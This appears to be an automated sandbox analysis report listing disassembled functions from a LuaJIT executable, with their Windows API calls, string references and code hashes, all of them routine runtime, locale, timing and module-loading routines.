_get_daylight.LIBCMT ref: 00007FF718A83064

Part of subcall function 00007FF718A82750: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A82764

Part of subcall function 00007FF718A79630: HeapFree.KERNEL32(?,?,?,00007FF718A89018,?,?,?,00007FF718A8939B,?,?,00000019,00007FF718A89A70,?,?,?,00007FF718A899A3), ref: 00007FF718A79646
Part of subcall function 00007FF718A79630: GetLastError.KERNEL32(?,?,?,00007FF718A89018,?,?,?,00007FF718A8939B,?,?,00000019,00007FF718A89A70,?,?,?,00007FF718A899A3), ref: 00007FF718A79658

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF718A83270), ref: 00007FF718A8308B

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: b1694709959b112dda49aced4665659e4135d8c6dd5ee1d3d9ed6f6d5bcf2363
Instruction ID: ea6d637aa83f48518010a80fb0daef2f0005f2ea652215666b13d71184afe4d7
Opcode Fuzzy Hash: b1694709959b112dda49aced4665659e4135d8c6dd5ee1d3d9ed6f6d5bcf2363
Instruction Fuzzy Hash: 1861B032A1AA4287EB10FF21E4819B9E761BF457A4F844235EA4D43B95DF3CE5088738

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A82C9C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF718A85B84: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A85BB2

_get_daylight.LIBCMT ref: 00007FF718A82DB9
_get_daylight.LIBCMT ref: 00007FF718A82DCA

Strings

?, xrefs: 00007FF718A82D45

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 586c49851570bae013627ce3286465824fb7c3165ce0ca9086f662d82254d2e5
Instruction ID: 60899ae072f04760f803c6d2d4316930f9d04c7262fffa6bf5266ade0a82fda4
Opcode Fuzzy Hash: 586c49851570bae013627ce3286465824fb7c3165ce0ca9086f662d82254d2e5
Instruction Fuzzy Hash: 17913726E0AA4247FB20BB15C002A7AE751EB417F5F844231EE4C07AC9DF7CD85AC768

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A79CD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF718A79D09
GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF718A776EA), ref: 00007FF718A79D37

Strings

GetLocaleInfoEx, xrefs: 00007FF718A79CEC, 00007FF718A79CFD

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: InfoLocaletry_get_function
String ID: GetLocaleInfoEx
API String ID: 2200034068-2904428671
Opcode ID: 1320189c10d08737c10867949436e1f60fcdb1951e034d40a47ea20f6378357c
Instruction ID: 499a9c8cc315dee584df8f6e005a719a0597e9fbceb261252234203c7351ab01
Opcode Fuzzy Hash: 1320189c10d08737c10867949436e1f60fcdb1951e034d40a47ea20f6378357c
Instruction Fuzzy Hash: BD016225F0EF4193E750AB52B8408AAE660AB84BE0F984536DF4C03B56DE3CE5198768

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A3B3F0 Relevance: 3.0, APIs: 2, Instructions: 38windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF718A3B408
FormatMessageA.KERNEL32 ref: 00007FF718A3B434

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: ad712dbac883830ccc2efa729175c320f11544ab6cf833baffcb26ef2136e48f
Instruction ID: 57f75702b600d708a6975386ca080f82201d99adf2eced76b3c43fc7e4839058
Opcode Fuzzy Hash: ad712dbac883830ccc2efa729175c320f11544ab6cf833baffcb26ef2136e48f
Instruction Fuzzy Hash: 67F0AF2160CB8547E3209B62A814F5AFAA1FB8ABD4F944238EB8843E49DF2DD4198704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A8A728 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718A7AD3C: GetLastError.KERNEL32(?,?,?,00007FF718A7D24A,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143), ref: 00007FF718A7AD4B
Part of subcall function 00007FF718A7AD3C: SetLastError.KERNEL32(?,?,?,00007FF718A7D24A,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143), ref: 00007FF718A7ADE9

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF718A8AF13,?,00000000,00000092,?,?,00000000,?,00007FF718A77511), ref: 00007FF718A8A7C6

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 313ab806442ddc55e6728cbcc07408532ae73105c66a65031aa52fc8f57541a1
Instruction ID: de5f825e3cbe70e3e92ae2dadeb7bd5ff2f1327970e0fe8e78d3dfc9df7b1b1b
Opcode Fuzzy Hash: 313ab806442ddc55e6728cbcc07408532ae73105c66a65031aa52fc8f57541a1
Instruction Fuzzy Hash: DD11F367E09A018AEB10AF15D050AA8F7A0E741BB1F848235C629833C0DE38E5D5D761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A8A7F8 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718A7AD3C: GetLastError.KERNEL32(?,?,?,00007FF718A7D24A,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143), ref: 00007FF718A7AD4B
Part of subcall function 00007FF718A7AD3C: SetLastError.KERNEL32(?,?,?,00007FF718A7D24A,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143), ref: 00007FF718A7ADE9

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF718A8AECF,?,00000000,00000092,?,?,00000000,?,00007FF718A77511), ref: 00007FF718A8A876

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: be2d2b7cf1173ad143617d1f7b928713b92c0b1b47d53c5513583864fcad6446
Instruction ID: f88f4b38383aab09ecc3dcc2d422fe98f5c130e66366f5227e32d9581963462f
Opcode Fuzzy Hash: be2d2b7cf1173ad143617d1f7b928713b92c0b1b47d53c5513583864fcad6446
Instruction Fuzzy Hash: 2901F572E09A8187E7146F16F451BB9F6A1EB41BB2F848331C668472C4DF7CA48AC735

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A79698 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF718A79AD9,?,?,?,?,?,?,?,?,00000000,00007FF718A89D74), ref: 00007FF718A796E7

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 75e47ce64426d63513b806d8469cac1129a6abd0b6b52c14e35c1c6f6d18e525
Instruction ID: 057720c7a86ef58bd3ac759dc7b4b77108ccc82405c522a144ef78a4df93ebae
Opcode Fuzzy Hash: 75e47ce64426d63513b806d8469cac1129a6abd0b6b52c14e35c1c6f6d18e525
Instruction Fuzzy Hash: F2F06D71B09E4583E700EB19F8409A5E365FB88790F845236EA0D83364CF3CD5698718

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7A0EC Relevance: 36.8, APIs: 10, Strings: 11, Instructions: 57COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF718A7A107
try_get_function.LIBVCRUNTIME ref: 00007FF718A7A126

Part of subcall function 00007FF718A79714: GetProcAddress.KERNEL32(?,00000000,00000002,00007FF718A79BF2,?,?,?,00007FF718A7AF02,?,?,?,00007FF718A6B3E1), ref: 00007FF718A7986C

try_get_function.LIBVCRUNTIME ref: 00007FF718A7A145

Part of subcall function 00007FF718A79714: LoadLibraryW.KERNELBASE(?,00000000,00000002,00007FF718A79BF2,?,?,?,00007FF718A7AF02,?,?,?,00007FF718A6B3E1), ref: 00007FF718A797B7
Part of subcall function 00007FF718A79714: GetLastError.KERNEL32(?,?,?,00007FF718A7AF02,?,?,?,00007FF718A6B3E1,?,?,?,?,00007FF718A80643), ref: 00007FF718A797C5
Part of subcall function 00007FF718A79714: LoadLibraryExW.KERNEL32(?,?,?,00007FF718A7AF02,?,?,?,00007FF718A6B3E1,?,?,?,?,00007FF718A80643), ref: 00007FF718A79807

try_get_function.LIBVCRUNTIME ref: 00007FF718A7A164

Part of subcall function 00007FF718A79714: FreeLibrary.KERNEL32(?,?,?,00007FF718A7AF02,?,?,?,00007FF718A6B3E1,?,?,?,?,00007FF718A80643), ref: 00007FF718A79840

try_get_function.LIBVCRUNTIME ref: 00007FF718A7A183
try_get_function.LIBVCRUNTIME ref: 00007FF718A7A1A2
try_get_function.LIBVCRUNTIME ref: 00007FF718A7A1C1
try_get_function.LIBVCRUNTIME ref: 00007FF718A7A1E0
try_get_function.LIBVCRUNTIME ref: 00007FF718A7A1FF
try_get_function.LIBVCRUNTIME ref: 00007FF718A7A21E

Strings

IsValidLocaleName, xrefs: 00007FF718A7A1C6, 00007FF718A7A1D9
CompareStringEx, xrefs: 00007FF718A7A10C, 00007FF718A7A11F
LocaleNameToLCID, xrefs: 00007FF718A7A223, 00007FF718A7A236
LCIDToLocaleName, xrefs: 00007FF718A7A204, 00007FF718A7A217
GetDateFormatEx, xrefs: 00007FF718A7A14A, 00007FF718A7A15D
LCMapStringEx, xrefs: 00007FF718A7A1E5, 00007FF718A7A1F8
AreFileApisANSI, xrefs: 00007FF718A7A100
GetUserDefaultLocaleName, xrefs: 00007FF718A7A1A7, 00007FF718A7A1BA
EnumSystemLocalesEx, xrefs: 00007FF718A7A12B, 00007FF718A7A13E
GetTimeFormatEx, xrefs: 00007FF718A7A188, 00007FF718A7A19B
GetLocaleInfoEx, xrefs: 00007FF718A7A169, 00007FF718A7A17C

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: try_get_function$Library$Load$AddressErrorFreeLastProc
String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
API String ID: 3255926029-3252031757
Opcode ID: ab57395a1dd642966f0208e63bb71cca90a7c8cde1eec80d0d047cd74b423100
Instruction ID: 578196dadffc9e7309797dc1c248932c44508504f3f1340368583a37e2671433
Opcode Fuzzy Hash: ab57395a1dd642966f0208e63bb71cca90a7c8cde1eec80d0d047cd74b423100
Instruction Fuzzy Hash: BE317560D0FE47A3F750BB909C41AE0E361AB44760FC45637D21D021A2AFBCA66ED368

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A12050 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 157libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(?,?,?,?,?,00007FF718A1150F), ref: 00007FF718A1215B
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF718A1150F), ref: 00007FF718A121BB
GetModuleHandleA.KERNEL32(?,?,?,?,?,00007FF718A1150F), ref: 00007FF718A121F8
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF718A1150F), ref: 00007FF718A12209
GetModuleHandleExA.KERNEL32(?,?,?,?,?,00007FF718A1150F), ref: 00007FF718A12226
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF718A1150F), ref: 00007FF718A12238

Strings

LOADLIB: %s, xrefs: 00007FF718A120AB, 00007FF718A12122
*, xrefs: 00007FF718A12181
_LOADLIB, xrefs: 00007FF718A12106
luaopen_%s, xrefs: 00007FF718A121A3
luaJIT_BC_%s, xrefs: 00007FF718A121DB
path too long, xrefs: 00007FF718A12087

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AddressProc$HandleModule$LibraryLoad
String ID: *$LOADLIB: %s$_LOADLIB$luaJIT_BC_%s$luaopen_%s$path too long
API String ID: 551388010-1299629974
Opcode ID: f3a9ec938cfb732e56b9769aeeac68db1fb725e4448d22c907f562046ba836a7
Instruction ID: f2ce2fdf81576bdfcfaf04a6af721b08d6f0bef06ed8f13b864f81a12b542513
Opcode Fuzzy Hash: f3a9ec938cfb732e56b9769aeeac68db1fb725e4448d22c907f562046ba836a7
Instruction Fuzzy Hash: 85518F61B1EE8242EB50FB26A84077AD351AF85BF0F884331DD6D177D5EE2CE4498328

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A10D70 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 220COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718A75614: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF718A75628

wcsftime.LIBCMT ref: 00007FF718A11021

Strings

month, xrefs: 00007FF718A10EC3
min, xrefs: 00007FF718A10E5E
year, xrefs: 00007FF718A10EEB
yday, xrefs: 00007FF718A10F35
day, xrefs: 00007FF718A10E9E
hour, xrefs: 00007FF718A10E7E
sec, xrefs: 00007FF718A10E3E
isdst, xrefs: 00007FF718A10F5D
wday, xrefs: 00007FF718A10F10

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: Time$FileSystemwcsftime
String ID: day$hour$isdst$min$month$sec$wday$yday$year
API String ID: 4211464514-297742768
Opcode ID: 68bc145c593d80da1f4c81be6ee598229cc8e2466ca52dd150b9ec706ae2d97c
Instruction ID: 8089d1a1d07073dbfbc8d2df998dd298a8eeea8c061ea40f3a4d0fd9cd08454a
Opcode Fuzzy Hash: 68bc145c593d80da1f4c81be6ee598229cc8e2466ca52dd150b9ec706ae2d97c
Instruction Fuzzy Hash: 8191E661B0EE8143EB10FB25A4406AAF755EF85BB1F904232EA5D03795DF3CE54A8328

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189FFC30 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 134libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF7189FFCCD
DeleteCriticalSection.KERNEL32 ref: 00007FF7189FFCDA
LoadLibraryExA.KERNEL32 ref: 00007FF7189FFDCC
GetProcAddress.KERNEL32 ref: 00007FF7189FFDE8
GetProcAddress.KERNEL32 ref: 00007FF7189FFE03
InitializeCriticalSection.KERNEL32 ref: 00007FF7189FFE2E
CreateThread.KERNEL32 ref: 00007FF7189FFE57

Strings

winmm.dll, xrefs: 00007FF7189FFDC3
timeBeginPeriod, xrefs: 00007FF7189FFDDE
timeEndPeriod, xrefs: 00007FF7189FFDF5

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AddressCriticalProcSection$CreateDeleteInitializeLibraryLoadObjectSingleThreadWait
String ID: timeBeginPeriod$timeEndPeriod$winmm.dll
API String ID: 3275198946-184456188
Opcode ID: 92299bf26988db8d84b207b018e881ffa7dc40e2995672530baf49bf9e40abd0
Instruction ID: caf3f09be59e21bcbf31d676d52dcfe659750fd9921fd1d53d0f6fb799472483
Opcode Fuzzy Hash: 92299bf26988db8d84b207b018e881ffa7dc40e2995672530baf49bf9e40abd0
Instruction Fuzzy Hash: 40617B3190EF4282EB14EB12E840934FBA1BB44BA5FC80636C94C06764EF7DB55DC768

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A11880 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF718A1194F
GetProcAddress.KERNEL32 ref: 00007FF718A11960
GetModuleHandleExA.KERNEL32 ref: 00007FF718A1197A
GetProcAddress.KERNEL32 ref: 00007FF718A1198C

Strings

'package.preload' must be a table, xrefs: 00007FF718A118C2
no field package.preload['%s'], xrefs: 00007FF718A119B3
preload, xrefs: 00007FF718A11899
luaJIT_BC_%s, xrefs: 00007FF718A1192E

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: no field package.preload['%s']$'package.preload' must be a table$luaJIT_BC_%s$preload
API String ID: 1646373207-4005544233
Opcode ID: d0425c6852bbb35cc95656d5f7ac72e07990d1df4d6a183fe3e63317efc0d1a0
Instruction ID: 6d1962e82e274eb36be03a53c32c63697ee1f39c43ac16181d8185f10730b1c0
Opcode Fuzzy Hash: d0425c6852bbb35cc95656d5f7ac72e07990d1df4d6a183fe3e63317efc0d1a0
Instruction Fuzzy Hash: 79319720B0EE8242EF44BB26A8405B9D651AF45BF0F885336ED2D177D9DE2CE5098364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7243C Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 479COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A72472

Strings

f, xrefs: 00007FF718A72563
p, xrefs: 00007FF718A7256B
p, xrefs: 00007FF718A724F3
-, xrefs: 00007FF718A724D7

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$f$p$p
API String ID: 3215553584-2516539321
Opcode ID: 6d9718cc4aaba9d1bb1b069d4f507f805525112df42b78793867432a1c80f7ac
Instruction ID: cef8e8e09b0e3ed6946b17255c7fd7bbd46fe736632b9fd72154df53a39d1bc6
Opcode Fuzzy Hash: 6d9718cc4aaba9d1bb1b069d4f507f805525112df42b78793867432a1c80f7ac
Instruction Fuzzy Hash: 57129521E0A94387FB247A15D154A79F7A2EB80770FD84331D69B076C4DF3EE588A728

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A8F550 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF718A8F581
GetLastError.KERNEL32 ref: 00007FF718A8F58D
CloseHandle.KERNEL32 ref: 00007FF718A8F5A5
CreateFileW.KERNEL32 ref: 00007FF718A8F5D0
WriteConsoleW.KERNEL32 ref: 00007FF718A8F5EF

Strings

CONOUT$, xrefs: 00007FF718A8F5B1

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 2726d88a7a3e12e43dc10a873b8cbe2ff6c834c430beca4be323d9c6aa3b38c2
Instruction ID: 3067017d06b3afd6fcedaa2937d1e9766bcc0efdeafc9070256c20f5a1ba881a
Opcode Fuzzy Hash: 2726d88a7a3e12e43dc10a873b8cbe2ff6c834c430beca4be323d9c6aa3b38c2
Instruction Fuzzy Hash: 5711B421B19E8183E350AB02E844B29E3A4FB88FF5F500339DA1D87794DF7CD5588758

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189ED3C0 Relevance: 9.1, APIs: 6, Instructions: 76COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7189ED413
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7189ED42E
RtlVirtualUnwind.KERNEL32 ref: 00007FF7189ED473
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7189ED493
RtlRestoreContext.KERNEL32 ref: 00007FF7189ED4D0
RaiseException.KERNEL32 ref: 00007FF7189ED512

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ContextEntryFunctionLookup$CaptureExceptionRaiseRestoreUnwindVirtual
String ID:
API String ID: 2358177407-0
Opcode ID: 050ec86600a775e1ba4a6fe656570c8a09b9775de57354fe22a5cd9ab7a00de7
Instruction ID: 532640ed60a961a107d839c6d961c1261054c69f29c311c45fe7ade737ad5fd8
